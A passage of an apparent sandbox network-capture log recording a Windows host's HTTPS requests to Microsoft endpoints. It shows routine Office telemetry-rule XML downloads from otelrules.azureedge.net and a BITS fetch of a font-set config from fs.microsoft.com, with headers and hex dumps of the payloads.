2024-11-21 06:10:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49869	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:43 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 06:10:44 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=210888 Date: Thu, 21 Nov 2024 06:10:43 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:43 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:43 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061043Z-1777c6cb7542p5p4hC1TEBq0980000000amg00000000g5wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:43 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:44 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:44 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fce879e9-f01e-0052-0d66-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061044Z-178bfbc474bkvpdnhC1NYCuu2w0000000160000000005fnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:44 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:43 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061044Z-178bfbc474bh5zbqhC1NYCkdug00000000y000000000gncb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:44 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:45 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:44 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061044Z-178bfbc474brk967hC1NYCfu6000000000yg000000001zdw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:45 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: dcdb4efb-f01e-001f-7bc1-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061046Z-r1d97b995774n5h6hC1TEBvf8400000009u000000000nafh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49882	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:45 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 06:10:46 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=210844 Date: Thu, 21 Nov 2024 06:10:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 06:10:46 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:45 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c780bae6-901e-005b-04c5-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061046Z-1777c6cb754xjpthhC1TEBexs80000000aeg00000000k37u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:45 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 5a6b30d1-101e-00a2-7c5b-3b9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061046Z-178bfbc474bxkclvhC1NYC69g4000000012g000000003mwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:46 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 38659630-901e-008f-15a0-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061046Z-r1d97b995778dpcthC1TEB4b5400000009sg00000000fx30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:46 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:46 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:47 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061047Z-1777c6cb754mrj2shC1TEB6k7w0000000asg00000000fr9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:47 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:48 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:48 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:48 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 99b43a4d-701e-003e-13dc-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061048Z-r1d97b99577hc74hhC1TEBvbns00000009wg000000003gdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 06:10:48 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:48 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
